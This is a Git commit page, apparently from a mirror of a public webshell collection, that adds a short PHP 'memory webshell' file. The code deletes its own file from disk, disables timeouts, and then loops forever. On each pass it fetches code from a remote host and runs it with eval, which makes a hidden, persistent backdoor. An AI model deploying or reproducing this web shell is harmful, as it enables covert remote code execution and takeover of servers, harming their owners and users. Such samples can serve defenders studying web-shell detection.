mirror of
https://github.com/tennc/webshell
synced 2024-11-22 03:03:03 +00:00
add MemphpShell @MemShell 👍
from :https://github.com/jweny/MemShellDemo
This commit is contained in:
parent
89d889b70f
commit
28770e0fc8
1 changed files with 13 additions and 0 deletions
13
php/MemShellForPHP/memWebshell.php
Normal file
13
php/MemShellForPHP/memWebshell.php
Normal file
|
@ -0,0 +1,13 @@
|
|||
<?php
|
||||
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
|
||||
unlink($_SERVER['SCRIPT_FILENAME']);
|
||||
ignore_user_abort(true);
|
||||
set_time_limit(0);
|
||||
echo "success";
|
||||
$remote_file = 'http://10.211.55.2/111/test.txt';
|
||||
while($code = file_get_contents($remote_file)){
|
||||
@eval($code);
|
||||
echo "xunhuan";
|
||||
sleep(5);
|
||||
};
|
||||
?>
|
Loading…
Reference in a new issue